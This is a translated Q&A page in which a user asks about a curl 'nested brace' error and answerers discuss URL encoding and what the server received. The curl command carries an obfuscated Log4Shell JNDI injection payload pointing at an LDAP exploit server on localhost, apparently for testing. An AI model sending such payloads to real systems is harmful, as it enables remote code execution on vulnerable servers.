繁体   English   中英

URL curl 语法错误与 JNDI 中的嵌套大括号

[英]Nested Brace in URL curl syntax error with JNDI

运行以下代码时出现错误。 你能告诉我语法有什么问题吗? 我已经尝试了所有的可能性,包括 "、双引号等,但没有运气。

错误:curl:(3) URL position 62 中的嵌套大括号:

curl 'http://localhost:8080/rest/users/user/updateuser?cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/#Exploit}' -H 'ID:1234567' -H 'Content-Type:application/json' -H 'X-UserName:usern8' --data-raw '{"id": 1,"name": "Name","profession": "Profession"}'

您可能必须对查询字符串进行 url 编码。

我转换了它,它看起来像这样:

cmd%3D%24%7Bjndi%3A%24%7Blower%3Al%7D%24%7Blower%3Ad%7D%24%7Blower%3Aa%7D%24%7Blower%3Ap%7D%3A%2F%2F127.0.0.1%3A1389%2F%23Exploit%7D

真正的问题可能是您认为在查询字符串中传输的内容。

您显示的内容无效 JSON。
但我发送了它,这是服务器收到的。

'argv' => array (0 => 'cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',),

'REQUEST_METHOD' => 'POST',

BODY={"id": 1,"name": "Name","profession": "Profession"}

$_SERVER['QUERY_STRING'] = cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/

$_POST array ()

$_GET array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)

$_REQUEST array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)

那是您希望服务器接收的吗?
或者您是否认为这${lower:d}可以解决其他问题?
这看起来像一个 PHP 变量。 它从哪里来的?

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM